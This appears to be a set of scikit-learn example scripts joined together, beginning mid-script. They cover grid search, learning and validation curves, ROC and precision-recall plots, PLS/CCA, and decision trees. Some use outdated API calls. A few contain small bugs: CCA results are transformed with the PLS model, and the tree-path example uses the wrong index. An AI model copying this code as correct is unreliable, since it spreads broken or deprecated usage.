print("GridSearchCV took %.2f seconds for %d candidate parameter settings."
      % (time() - start, len(grid_search.results_['params'])))
report(grid_search.results_)






"""
============================================================
Parameter estimation using grid search with cross-validation
============================================================

This examples shows how a classifier is optimized by cross-validation,
which is done using the :class:`sklearn.model_selection.GridSearchCV` object
on a development set that comprises only half of the available labeled data.

The performance of the selected hyper-parameters and trained model is
then measured on a dedicated evaluation set that was not used during
the model selection step.

More details on tools available for model selection can be found in the
sections on :ref:`cross_validation` and :ref:`grid_search`.

"""

from __future__ import print_function

from sklearn import datasets
from sklearn.model_selection import train_test_split
from sklearn.model_selection import GridSearchCV
from sklearn.metrics import classification_report
from sklearn.svm import SVC

print(__doc__)

# Loading the Digits dataset
digits = datasets.load_digits()

# To apply an classifier on this data, we need to flatten the image, to
# turn the data in a (samples, feature) matrix:
n_samples = len(digits.images)
X = digits.images.reshape((n_samples, -1))
y = digits.target

# Split the dataset in two equal parts
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.5, random_state=0)

# Set the parameters by cross-validation
tuned_parameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],
                     'C': [1, 10, 100, 1000]},
                    {'kernel': ['linear'], 'C': [1, 10, 100, 1000]}]

scores = ['precision', 'recall']

for score in scores:
    print("# Tuning hyper-parameters for %s" % score)
    print()

    clf = GridSearchCV(SVC(C=1), tuned_parameters, cv=5,
                       scoring='%s_macro' % score)
    clf.fit(X_train, y_train)

    print("Best parameters set found on development set:")
    print()
    print(clf.best_params_)
    print()
    print("Grid scores on development set:")
    print()
    means = clf.results_['test_mean_score']
    stds = clf.results_['test_std_score']
    for i in range(len(clf.results_['params'])):
        print("%0.3f (+/-%0.03f) for %r"
              % (means[i], stds[i] * 2, clf.results_['params'][i]))
    print()

    print("Detailed classification report:")
    print()
    print("The model is trained on the full development set.")
    print("The scores are computed on the full evaluation set.")
    print()
    y_true, y_pred = y_test, clf.predict(X_test)
    print(classification_report(y_true, y_pred))
    print()

# Note the problem is too easy: the hyperparameter plateau is too flat and the
# output model is the same for precision and recall with ties in quality.






"""
========================
Plotting Learning Curves
========================

On the left side the learning curve of a naive Bayes classifier is shown for
the digits dataset. Note that the training score and the cross-validation score
are both not very good at the end. However, the shape of the curve can be found
in more complex datasets very often: the training score is very high at the
beginning and decreases and the cross-validation score is very low at the
beginning and increases. On the right side we see the learning curve of an SVM
with RBF kernel. We can see clearly that the training score is still around
the maximum and the validation score could be increased with more training
samples.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.naive_bayes import GaussianNB
from sklearn.svm import SVC
from sklearn.datasets import load_digits
from sklearn.model_selection import learning_curve
from sklearn.model_selection import ShuffleSplit


def plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,
                        n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):
    """
    Generate a simple plot of the test and training learning curve.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    title : string
        Title for the chart.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

    ylim : tuple, shape (ymin, ymax), optional
        Defines minimum and maximum yvalues plotted.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross-validation,
          - integer, to specify the number of folds.
          - An object to be used as a cross-validation generator.
          - An iterable yielding train/test splits.

        For integer/None inputs, if ``y`` is binary or multiclass,
        :class:`StratifiedKFold` used. If the estimator is not a classifier
        or if ``y`` is neither binary nor multiclass, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validators that can be used here.

    n_jobs : integer, optional
        Number of jobs to run in parallel (default 1).
    """
    plt.figure()
    plt.title(title)
    if ylim is not None:
        plt.ylim(*ylim)
    plt.xlabel("Training examples")
    plt.ylabel("Score")
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)
    train_scores_mean = np.mean(train_scores, axis=1)
    train_scores_std = np.std(train_scores, axis=1)
    test_scores_mean = np.mean(test_scores, axis=1)
    test_scores_std = np.std(test_scores, axis=1)
    plt.grid()

    plt.fill_between(train_sizes, train_scores_mean - train_scores_std,
                     train_scores_mean + train_scores_std, alpha=0.1,
                     color="r")
    plt.fill_between(train_sizes, test_scores_mean - test_scores_std,
                     test_scores_mean + test_scores_std, alpha=0.1, color="g")
    plt.plot(train_sizes, train_scores_mean, 'o-', color="r",
             label="Training score")
    plt.plot(train_sizes, test_scores_mean, 'o-', color="g",
             label="Cross-validation score")

    plt.legend(loc="best")
    return plt


digits = load_digits()
X, y = digits.data, digits.target


title = "Learning Curves (Naive Bayes)"
# Cross validation with 100 iterations to get smoother mean test and train
# score curves, each time with 20% data randomly selected as a validation set.
cv = ShuffleSplit(n_splits=100, test_size=0.2, random_state=0)

estimator = GaussianNB()
plot_learning_curve(estimator, title, X, y, ylim=(0.7, 1.01), cv=cv, n_jobs=4)

title = "Learning Curves (SVM, RBF kernel, $\gamma=0.001$)"
# SVC is more expensive so we do a lower number of CV iterations:
cv = ShuffleSplit(n_splits=10, test_size=0.2, random_state=0)
estimator = SVC(gamma=0.001)
plot_learning_curve(estimator, title, X, y, (0.7, 1.01), cv=cv, n_jobs=4)

plt.show()






"""
=============================================================
Receiver Operating Characteristic (ROC) with cross validation
=============================================================

Example of Receiver Operating Characteristic (ROC) metric to evaluate
classifier output quality using cross-validation.

ROC curves typically feature true positive rate on the Y axis, and false
positive rate on the X axis. This means that the top left corner of the plot is
the "ideal" point - a false positive rate of zero, and a true positive rate of
one. This is not very realistic, but it does mean that a larger area under the
curve (AUC) is usually better.

The "steepness" of ROC curves is also important, since it is ideal to maximize
the true positive rate while minimizing the false positive rate.

This example shows the ROC response of different datasets, created from K-fold
cross-validation. Taking all of these curves, it is possible to calculate the
mean area under curve, and see the variance of the curve when the
training set is split into different subsets. This roughly shows how the
classifier output is affected by changes in the training data, and how
different the splits generated by K-fold cross-validation are from one another.

.. note::

    See also :func:`sklearn.metrics.auc_score`,
             :func:`sklearn.model_selection.cross_val_score`,
             :ref:`sphx_glr_auto_examples_model_selection_plot_roc.py`,

"""
print(__doc__)

import numpy as np
from scipy import interp
import matplotlib.pyplot as plt
from itertools import cycle

from sklearn import svm, datasets
from sklearn.metrics import roc_curve, auc
from sklearn.model_selection import StratifiedKFold

###############################################################################
# Data IO and generation

# import some data to play with
iris = datasets.load_iris()
X = iris.data
y = iris.target
X, y = X[y != 2], y[y != 2]
n_samples, n_features = X.shape

# Add noisy features
random_state = np.random.RandomState(0)
X = np.c_[X, random_state.randn(n_samples, 200 * n_features)]

###############################################################################
# Classification and ROC analysis

# Run classifier with cross-validation and plot ROC curves
cv = StratifiedKFold(n_splits=6)
classifier = svm.SVC(kernel='linear', probability=True,
                     random_state=random_state)

mean_tpr = 0.0
mean_fpr = np.linspace(0, 1, 100)

colors = cycle(['cyan', 'indigo', 'seagreen', 'yellow', 'blue', 'darkorange'])
lw = 2

i = 0
for (train, test), color in zip(cv.split(X, y), colors):
    probas_ = classifier.fit(X[train], y[train]).predict_proba(X[test])
    # Compute ROC curve and area the curve
    fpr, tpr, thresholds = roc_curve(y[test], probas_[:, 1])
    mean_tpr += interp(mean_fpr, fpr, tpr)
    mean_tpr[0] = 0.0
    roc_auc = auc(fpr, tpr)
    plt.plot(fpr, tpr, lw=lw, color=color,
             label='ROC fold %d (area = %0.2f)' % (i, roc_auc))

    i += 1
plt.plot([0, 1], [0, 1], linestyle='--', lw=lw, color='k',
         label='Luck')

mean_tpr /= cv.get_n_splits(X, y)
mean_tpr[-1] = 1.0
mean_auc = auc(mean_fpr, mean_tpr)
plt.plot(mean_fpr, mean_tpr, color='g', linestyle='--',
         label='Mean ROC (area = %0.2f)' % mean_auc, lw=lw)

plt.xlim([-0.05, 1.05])
plt.ylim([-0.05, 1.05])
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Receiver operating characteristic example')
plt.legend(loc="lower right")
plt.show()






"""
==========================
Plotting Validation Curves
==========================

In this plot you can see the training scores and validation scores of an SVM
for different values of the kernel parameter gamma. For very low values of
gamma, you can see that both the training score and the validation score are
low. This is called underfitting. Medium values of gamma will result in high
values for both scores, i.e. the classifier is performing fairly well. If gamma
is too high, the classifier will overfit, which means that the training score
is good but the validation score is poor.
"""
print(__doc__)

import matplotlib.pyplot as plt
import numpy as np

from sklearn.datasets import load_digits
from sklearn.svm import SVC
from sklearn.model_selection import validation_curve

digits = load_digits()
X, y = digits.data, digits.target

param_range = np.logspace(-6, -1, 5)
train_scores, test_scores = validation_curve(
    SVC(), X, y, param_name="gamma", param_range=param_range,
    cv=10, scoring="accuracy", n_jobs=1)
train_scores_mean = np.mean(train_scores, axis=1)
train_scores_std = np.std(train_scores, axis=1)
test_scores_mean = np.mean(test_scores, axis=1)
test_scores_std = np.std(test_scores, axis=1)

plt.title("Validation Curve with SVM")
plt.xlabel("$\gamma$")
plt.ylabel("Score")
plt.ylim(0.0, 1.1)
lw = 2
plt.semilogx(param_range, train_scores_mean, label="Training score",
             color="darkorange", lw=lw)
plt.fill_between(param_range, train_scores_mean - train_scores_std,
                 train_scores_mean + train_scores_std, alpha=0.2,
                 color="darkorange", lw=lw)
plt.semilogx(param_range, test_scores_mean, label="Cross-validation score",
             color="navy", lw=lw)
plt.fill_between(param_range, test_scores_mean - test_scores_std,
                 test_scores_mean + test_scores_std, alpha=0.2,
                 color="navy", lw=lw)
plt.legend(loc="best")
plt.show()






"""
=========================
Train error vs Test error
=========================

Illustration of how the performance of an estimator on unseen data (test data)
is not the same as the performance on training data. As the regularization
increases the performance on train decreases while the performance on test
is optimal within a range of values of the regularization parameter.
The example with an Elastic-Net regression model and the performance is
measured using the explained variance a.k.a. R^2.

"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

import numpy as np
from sklearn import linear_model

###############################################################################
# Generate sample data
n_samples_train, n_samples_test, n_features = 75, 150, 500
np.random.seed(0)
coef = np.random.randn(n_features)
coef[50:] = 0.0  # only the top 10 features are impacting the model
X = np.random.randn(n_samples_train + n_samples_test, n_features)
y = np.dot(X, coef)

# Split train and test data
X_train, X_test = X[:n_samples_train], X[n_samples_train:]
y_train, y_test = y[:n_samples_train], y[n_samples_train:]

###############################################################################
# Compute train and test errors
alphas = np.logspace(-5, 1, 60)
enet = linear_model.ElasticNet(l1_ratio=0.7)
train_errors = list()
test_errors = list()
for alpha in alphas:
    enet.set_params(alpha=alpha)
    enet.fit(X_train, y_train)
    train_errors.append(enet.score(X_train, y_train))
    test_errors.append(enet.score(X_test, y_test))

i_alpha_optim = np.argmax(test_errors)
alpha_optim = alphas[i_alpha_optim]
print("Optimal regularization parameter : %s" % alpha_optim)

# Estimate the coef_ on full data with optimal regularization parameter
enet.set_params(alpha=alpha_optim)
coef_ = enet.fit(X, y).coef_

###############################################################################
# Plot results functions

import matplotlib.pyplot as plt
plt.subplot(2, 1, 1)
plt.semilogx(alphas, train_errors, label='Train')
plt.semilogx(alphas, test_errors, label='Test')
plt.vlines(alpha_optim, plt.ylim()[0], np.max(test_errors), color='k',
           linewidth=3, label='Optimum on test')
plt.legend(loc='lower left')
plt.ylim([0, 1.2])
plt.xlabel('Regularization parameter')
plt.ylabel('Performance')

# Show estimated coef_ vs true coef
plt.subplot(2, 1, 2)
plt.plot(coef, label='True coef')
plt.plot(coef_, label='Estimated coef')
plt.legend()
plt.subplots_adjust(0.09, 0.04, 0.94, 0.94, 0.26, 0.26)
plt.show()






"""
================
Precision-Recall
================

Example of Precision-Recall metric to evaluate classifier output quality.

In information retrieval, precision is a measure of result relevancy, while
recall is a measure of how many truly relevant results are returned. A high
area under the curve represents both high recall and high precision, where high
precision relates to a low false positive rate, and high recall relates to a
low false negative rate. High scores for both show that the classifier is
returning accurate results (high precision), as well as returning a majority of
all positive results (high recall).

A system with high recall but low precision returns many results, but most of
its predicted labels are incorrect when compared to the training labels. A
system with high precision but low recall is just the opposite, returning very
few results, but most of its predicted labels are correct when compared to the
training labels. An ideal system with high precision and high recall will
return many results, with all results labeled correctly.

Precision (:math:`P`) is defined as the number of true positives (:math:`T_p`)
over the number of true positives plus the number of false positives
(:math:`F_p`).

:math:`P = \\frac{T_p}{T_p+F_p}`

Recall (:math:`R`) is defined as the number of true positives (:math:`T_p`)
over the number of true positives plus the number of false negatives
(:math:`F_n`).

:math:`R = \\frac{T_p}{T_p + F_n}`

These quantities are also related to the (:math:`F_1`) score, which is defined
as the harmonic mean of precision and recall.

:math:`F1 = 2\\frac{P \\times R}{P+R}`

It is important to note that the precision may not decrease with recall. The
definition of precision (:math:`\\frac{T_p}{T_p + F_p}`) shows that lowering
the threshold of a classifier may increase the denominator, by increasing the
number of results returned. If the threshold was previously set too high, the
new results may all be true positives, which will increase precision. If the
previous threshold was about right or too low, further lowering the threshold
will introduce false positives, decreasing precision.

Recall is defined as :math:`\\frac{T_p}{T_p+F_n}`, where :math:`T_p+F_n` does
not depend on the classifier threshold. This means that lowering the classifier
threshold may increase recall, by increasing the number of true positive
results. It is also possible that lowering the threshold may leave recall
unchanged, while the precision fluctuates.

The relationship between recall and precision can be observed in the
stairstep area of the plot - at the edges of these steps a small change
in the threshold considerably reduces precision, with only a minor gain in
recall. See the corner at recall = .59, precision = .8 for an example of this
phenomenon.

Precision-recall curves are typically used in binary classification to study
the output of a classifier. In order to extend Precision-recall curve and
average precision to multi-class or multi-label classification, it is necessary
to binarize the output. One curve can be drawn per label, but one can also draw
a precision-recall curve by considering each element of the label indicator
matrix as a binary prediction (micro-averaging).

.. note::

    See also :func:`sklearn.metrics.average_precision_score`,
             :func:`sklearn.metrics.recall_score`,
             :func:`sklearn.metrics.precision_score`,
             :func:`sklearn.metrics.f1_score`
"""
print(__doc__)

import matplotlib.pyplot as plt
import numpy as np
from itertools import cycle

from sklearn import svm, datasets
from sklearn.metrics import precision_recall_curve
from sklearn.metrics import average_precision_score
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import label_binarize
from sklearn.multiclass import OneVsRestClassifier

# import some data to play with
iris = datasets.load_iris()
X = iris.data
y = iris.target

# setup plot details
colors = cycle(['navy', 'turquoise', 'darkorange', 'cornflowerblue', 'teal'])
lw = 2

# Binarize the output
y = label_binarize(y, classes=[0, 1, 2])
n_classes = y.shape[1]

# Add noisy features
random_state = np.random.RandomState(0)
n_samples, n_features = X.shape
X = np.c_[X, random_state.randn(n_samples, 200 * n_features)]

# Split into training and test
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.5,
                                                    random_state=random_state)

# Run classifier
classifier = OneVsRestClassifier(svm.SVC(kernel='linear', probability=True,
                                 random_state=random_state))
y_score = classifier.fit(X_train, y_train).decision_function(X_test)

# Compute Precision-Recall and plot curve
precision = dict()
recall = dict()
average_precision = dict()
for i in range(n_classes):
    precision[i], recall[i], _ = precision_recall_curve(y_test[:, i],
                                                        y_score[:, i])
    average_precision[i] = average_precision_score(y_test[:, i], y_score[:, i])

# Compute micro-average ROC curve and ROC area
precision["micro"], recall["micro"], _ = precision_recall_curve(y_test.ravel(),
    y_score.ravel())
average_precision["micro"] = average_precision_score(y_test, y_score,
                                                     average="micro")


# Plot Precision-Recall curve
plt.clf()
plt.plot(recall[0], precision[0], lw=lw, color='navy',
         label='Precision-Recall curve')
plt.xlabel('Recall')
plt.ylabel('Precision')
plt.ylim([0.0, 1.05])
plt.xlim([0.0, 1.0])
plt.title('Precision-Recall example: AUC={0:0.2f}'.format(average_precision[0]))
plt.legend(loc="lower left")
plt.show()

# Plot Precision-Recall curve for each class
plt.clf()
plt.plot(recall["micro"], precision["micro"], color='gold', lw=lw,
         label='micro-average Precision-recall curve (area = {0:0.2f})'
               ''.format(average_precision["micro"]))
for i, color in zip(range(n_classes), colors):
    plt.plot(recall[i], precision[i], color=color, lw=lw,
             label='Precision-recall curve of class {0} (area = {1:0.2f})'
                   ''.format(i, average_precision[i]))

plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('Recall')
plt.ylabel('Precision')
plt.title('Extension of Precision-Recall curve to multi-class')
plt.legend(loc="lower right")
plt.show()






"""
============================
Underfitting vs. Overfitting
============================

This example demonstrates the problems of underfitting and overfitting and
how we can use linear regression with polynomial features to approximate
nonlinear functions. The plot shows the function that we want to approximate,
which is a part of the cosine function. In addition, the samples from the
real function and the approximations of different models are displayed. The
models have polynomial features of different degrees. We can see that a
linear function (polynomial with degree 1) is not sufficient to fit the
training samples. This is called **underfitting**. A polynomial of degree 4
approximates the true function almost perfectly. However, for higher degrees
the model will **overfit** the training data, i.e. it learns the noise of the
training data.
We evaluate quantitatively **overfitting** / **underfitting** by using
cross-validation. We calculate the mean squared error (MSE) on the validation
set, the higher, the less likely the model generalizes correctly from the
training data.
"""

print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import PolynomialFeatures
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import cross_val_score

np.random.seed(0)

n_samples = 30
degrees = [1, 4, 15]

true_fun = lambda X: np.cos(1.5 * np.pi * X)
X = np.sort(np.random.rand(n_samples))
y = true_fun(X) + np.random.randn(n_samples) * 0.1

plt.figure(figsize=(14, 5))
for i in range(len(degrees)):
    ax = plt.subplot(1, len(degrees), i + 1)
    plt.setp(ax, xticks=(), yticks=())

    polynomial_features = PolynomialFeatures(degree=degrees[i],
                                             include_bias=False)
    linear_regression = LinearRegression()
    pipeline = Pipeline([("polynomial_features", polynomial_features),
                         ("linear_regression", linear_regression)])
    pipeline.fit(X[:, np.newaxis], y)

    # Evaluate the models using crossvalidation
    scores = cross_val_score(pipeline, X[:, np.newaxis], y,
                             scoring="mean_squared_error", cv=10)

    X_test = np.linspace(0, 1, 100)
    plt.plot(X_test, pipeline.predict(X_test[:, np.newaxis]), label="Model")
    plt.plot(X_test, true_fun(X_test), label="True function")
    plt.scatter(X, y, label="Samples")
    plt.xlabel("x")
    plt.ylabel("y")
    plt.xlim((0, 1))
    plt.ylim((-2, 2))
    plt.legend(loc="best")
    plt.title("Degree {}\nMSE = {:.2e}(+/- {:.2e})".format(
        degrees[i], -scores.mean(), scores.std()))
plt.show()






"""
===================================
Compare cross decomposition methods
===================================

Simple usage of various cross decomposition algorithms:
- PLSCanonical
- PLSRegression, with multivariate response, a.k.a. PLS2
- PLSRegression, with univariate response, a.k.a. PLS1
- CCA

Given 2 multivariate covarying two-dimensional datasets, X, and Y,
PLS extracts the 'directions of covariance', i.e. the components of each
datasets that explain the most shared variance between both datasets.
This is apparent on the **scatterplot matrix** display: components 1 in
dataset X and dataset Y are maximally correlated (points lie around the
first diagonal). This is also true for components 2 in both dataset,
however, the correlation across datasets for different components is
weak: the point cloud is very spherical.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.cross_decomposition import PLSCanonical, PLSRegression, CCA

###############################################################################
# Dataset based latent variables model

n = 500
# 2 latents vars:
l1 = np.random.normal(size=n)
l2 = np.random.normal(size=n)

latents = np.array([l1, l1, l2, l2]).T
X = latents + np.random.normal(size=4 * n).reshape((n, 4))
Y = latents + np.random.normal(size=4 * n).reshape((n, 4))

X_train = X[:n / 2]
Y_train = Y[:n / 2]
X_test = X[n / 2:]
Y_test = Y[n / 2:]

print("Corr(X)")
print(np.round(np.corrcoef(X.T), 2))
print("Corr(Y)")
print(np.round(np.corrcoef(Y.T), 2))

###############################################################################
# Canonical (symmetric) PLS

# Transform data
# ~~~~~~~~~~~~~~
plsca = PLSCanonical(n_components=2)
plsca.fit(X_train, Y_train)
X_train_r, Y_train_r = plsca.transform(X_train, Y_train)
X_test_r, Y_test_r = plsca.transform(X_test, Y_test)

# Scatter plot of scores
# ~~~~~~~~~~~~~~~~~~~~~~
# 1) On diagonal plot X vs Y scores on each components
plt.figure(figsize=(12, 8))
plt.subplot(221)
plt.plot(X_train_r[:, 0], Y_train_r[:, 0], "ob", label="train")
plt.plot(X_test_r[:, 0], Y_test_r[:, 0], "or", label="test")
plt.xlabel("x scores")
plt.ylabel("y scores")
plt.title('Comp. 1: X vs Y (test corr = %.2f)' %
          np.corrcoef(X_test_r[:, 0], Y_test_r[:, 0])[0, 1])
plt.xticks(())
plt.yticks(())
plt.legend(loc="best")

plt.subplot(224)
plt.plot(X_train_r[:, 1], Y_train_r[:, 1], "ob", label="train")
plt.plot(X_test_r[:, 1], Y_test_r[:, 1], "or", label="test")
plt.xlabel("x scores")
plt.ylabel("y scores")
plt.title('Comp. 2: X vs Y (test corr = %.2f)' %
          np.corrcoef(X_test_r[:, 1], Y_test_r[:, 1])[0, 1])
plt.xticks(())
plt.yticks(())
plt.legend(loc="best")

# 2) Off diagonal plot components 1 vs 2 for X and Y
plt.subplot(222)
plt.plot(X_train_r[:, 0], X_train_r[:, 1], "*b", label="train")
plt.plot(X_test_r[:, 0], X_test_r[:, 1], "*r", label="test")
plt.xlabel("X comp. 1")
plt.ylabel("X comp. 2")
plt.title('X comp. 1 vs X comp. 2 (test corr = %.2f)'
          % np.corrcoef(X_test_r[:, 0], X_test_r[:, 1])[0, 1])
plt.legend(loc="best")
plt.xticks(())
plt.yticks(())

plt.subplot(223)
plt.plot(Y_train_r[:, 0], Y_train_r[:, 1], "*b", label="train")
plt.plot(Y_test_r[:, 0], Y_test_r[:, 1], "*r", label="test")
plt.xlabel("Y comp. 1")
plt.ylabel("Y comp. 2")
plt.title('Y comp. 1 vs Y comp. 2 , (test corr = %.2f)'
          % np.corrcoef(Y_test_r[:, 0], Y_test_r[:, 1])[0, 1])
plt.legend(loc="best")
plt.xticks(())
plt.yticks(())
plt.show()

###############################################################################
# PLS regression, with multivariate response, a.k.a. PLS2

n = 1000
q = 3
p = 10
X = np.random.normal(size=n * p).reshape((n, p))
B = np.array([[1, 2] + [0] * (p - 2)] * q).T
# each Yj = 1*X1 + 2*X2 + noize
Y = np.dot(X, B) + np.random.normal(size=n * q).reshape((n, q)) + 5

pls2 = PLSRegression(n_components=3)
pls2.fit(X, Y)
print("True B (such that: Y = XB + Err)")
print(B)
# compare pls2.coef_ with B
print("Estimated B")
print(np.round(pls2.coef_, 1))
pls2.predict(X)

###############################################################################
# PLS regression, with univariate response, a.k.a. PLS1

n = 1000
p = 10
X = np.random.normal(size=n * p).reshape((n, p))
y = X[:, 0] + 2 * X[:, 1] + np.random.normal(size=n * 1) + 5
pls1 = PLSRegression(n_components=3)
pls1.fit(X, y)
# note that the number of components exceeds 1 (the dimension of y)
print("Estimated betas")
print(np.round(pls1.coef_, 1))

###############################################################################
# CCA (PLS mode B with symmetric deflation)

cca = CCA(n_components=2)
cca.fit(X_train, Y_train)
X_train_r, Y_train_r = plsca.transform(X_train, Y_train)
X_test_r, Y_test_r = plsca.transform(X_test, Y_test)






"""
================================================================
Plot the decision surface of a decision tree on the iris dataset
================================================================

Plot the decision surface of a decision tree trained on pairs
of features of the iris dataset.

See :ref:`decision tree <tree>` for more information on the estimator.

For each pair of iris features, the decision tree learns decision
boundaries made of combinations of simple thresholding rules inferred from
the training samples.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import load_iris
from sklearn.tree import DecisionTreeClassifier

# Parameters
n_classes = 3
plot_colors = "bry"
plot_step = 0.02

# Load data
iris = load_iris()

for pairidx, pair in enumerate([[0, 1], [0, 2], [0, 3],
                                [1, 2], [1, 3], [2, 3]]):
    # We only take the two corresponding features
    X = iris.data[:, pair]
    y = iris.target

    # Train
    clf = DecisionTreeClassifier().fit(X, y)

    # Plot the decision boundary
    plt.subplot(2, 3, pairidx + 1)

    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, plot_step),
                         np.arange(y_min, y_max, plot_step))

    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)
    cs = plt.contourf(xx, yy, Z, cmap=plt.cm.Paired)

    plt.xlabel(iris.feature_names[pair[0]])
    plt.ylabel(iris.feature_names[pair[1]])
    plt.axis("tight")

    # Plot the training points
    for i, color in zip(range(n_classes), plot_colors):
        idx = np.where(y == i)
        plt.scatter(X[idx, 0], X[idx, 1], c=color, label=iris.target_names[i],
                    cmap=plt.cm.Paired)

    plt.axis("tight")

plt.suptitle("Decision surface of a decision tree using paired features")
plt.legend()
plt.show()






"""
===================================================================
Multi-output Decision Tree Regression
===================================================================

An example to illustrate multi-output regression with decision tree.

The :ref:`decision trees <tree>`
is used to predict simultaneously the noisy x and y observations of a circle
given a single underlying feature. As a result, it learns local linear
regressions approximating the circle.

We can see that if the maximum depth of the tree (controlled by the
`max_depth` parameter) is set too high, the decision trees learn too fine
details of the training data and learn from the noise, i.e. they overfit.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.tree import DecisionTreeRegressor

# Create a random dataset
rng = np.random.RandomState(1)
X = np.sort(200 * rng.rand(100, 1) - 100, axis=0)
y = np.array([np.pi * np.sin(X).ravel(), np.pi * np.cos(X).ravel()]).T
y[::5, :] += (0.5 - rng.rand(20, 2))

# Fit regression model
regr_1 = DecisionTreeRegressor(max_depth=2)
regr_2 = DecisionTreeRegressor(max_depth=5)
regr_3 = DecisionTreeRegressor(max_depth=8)
regr_1.fit(X, y)
regr_2.fit(X, y)
regr_3.fit(X, y)

# Predict
X_test = np.arange(-100.0, 100.0, 0.01)[:, np.newaxis]
y_1 = regr_1.predict(X_test)
y_2 = regr_2.predict(X_test)
y_3 = regr_3.predict(X_test)

# Plot the results
plt.figure()
s = 50
plt.scatter(y[:, 0], y[:, 1], c="navy", s=s, label="data")
plt.scatter(y_1[:, 0], y_1[:, 1], c="cornflowerblue", s=s, label="max_depth=2")
plt.scatter(y_2[:, 0], y_2[:, 1], c="c", s=s, label="max_depth=5")
plt.scatter(y_3[:, 0], y_3[:, 1], c="orange", s=s, label="max_depth=8")
plt.xlim([-6, 6])
plt.ylim([-6, 6])
plt.xlabel("target 1")
plt.ylabel("target 2")
plt.title("Multi-output Decision Tree Regression")
plt.legend()
plt.show()






"""
=========================================
Understanding the decision tree structure
=========================================

The decision tree structure can be analysed to gain further insight on the
relation between the features and the target to predict. In this example, we
show how to retrieve:

- the binary tree structure;
- the depth of each node and whether or not it's a leaf;
- the nodes that were reached by a sample using the ``decision_path`` method;
- the leaf that was reached by a sample using the apply method;
- the rules that were used to predict a sample;
- the decision path shared by a group of samples.

"""
import numpy as np

from sklearn.model_selection import train_test_split
from sklearn.datasets import load_iris
from sklearn.tree import DecisionTreeClassifier

iris = load_iris()
X = iris.data
y = iris.target
X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

estimator = DecisionTreeClassifier(max_leaf_nodes=3, random_state=0)
estimator.fit(X_train, y_train)

# The decision estimator has an attribute called tree_  which stores the entire
# tree structure and allows access to low level attributes. The binary tree
# tree_ is represented as a number of parallel arrays. The i-th element of each
# array holds information about the node `i`. Node 0 is the tree's root. NOTE:
# Some of the arrays only apply to either leaves or split nodes, resp. In this
# case the values of nodes of the other type are arbitrary!
#
# Among those arrays, we have:
#   - left_child, id of the left child of the node
#   - right_child, id of the right child of the node
#   - feature, feature used for splitting the node
#   - threshold, threshold value at the node
#

# Using those arrays, we can parse the tree structure:

n_nodes = estimator.tree_.node_count
children_left = estimator.tree_.children_left
children_right = estimator.tree_.children_right
feature = estimator.tree_.feature
threshold = estimator.tree_.threshold


# The tree structure can be traversed to compute various properties such
# as the depth of each node and whether or not it is a leaf.
node_depth = np.zeros(shape=n_nodes)
is_leaves = np.zeros(shape=n_nodes, dtype=bool)
stack = [(0, -1)]  # seed is the root node id and its parent depth
while len(stack) > 0:
    node_id, parent_depth = stack.pop()
    node_depth[node_id] = parent_depth + 1

    # If we have a test node
    if (children_left[node_id] != children_right[node_id]):
        stack.append((children_left[node_id], parent_depth + 1))
        stack.append((children_right[node_id], parent_depth + 1))
    else:
        is_leaves[node_id] = True

print("The binary tree structure has %s nodes and has "
      "the following tree structure:"
      % n_nodes)
for i in range(n_nodes):
    if is_leaves[i]:
        print("%snode=%s leaf node." % (node_depth[i] * "\t", i))
    else:
        print("%snode=%s test node: go to node %s if X[:, %s] <= %ss else to "
              "node %s."
              % (node_depth[i] * "\t",
                 i,
                 children_left[i],
                 feature[i],
                 threshold[i],
                 children_right[i],
                 ))
print()

# First let's retrieve the decision path of each sample. The decision_path
# method allows to retrieve the node indicator functions. A non zero element of
# indicator matrix at the position (i, j) indicates that the sample i goes
# through the node j.

node_indicator = estimator.decision_path(X_test)

# Similarly, we can also have the leaves ids reached by each sample.

leave_id = estimator.apply(X_test)

# Now, it's possible to get the tests that were used to predict a sample or
# a group of samples. First, let's make it for the sample.

sample_id = 0
node_index = node_indicator.indices[node_indicator.indptr[sample_id]:
                                    node_indicator.indptr[sample_id + 1]]

print('Rules used to predict sample %s: ' % sample_id)
for node_id in node_index:
    if leave_id[sample_id] != node_id:
        continue

    if (X_test[sample_id, feature[node_id]] <= threshold[node_id]):
        threshold_sign = "<="
    else:
        threshold_sign = ">"

    print("decision id node %s : (X[%s, %s] (= %s) %s %s)"
          % (node_id,
             sample_id,
             feature[node_id],
             X_test[i, feature[node_id]],
             threshold_sign,
             threshold[node_id]))

# For a group of samples, we have the following common node.
sample_ids = [0, 1]
common_nodes = (node_indicator.toarray()[sample_ids].sum(axis=0) ==
                len(sample_ids))

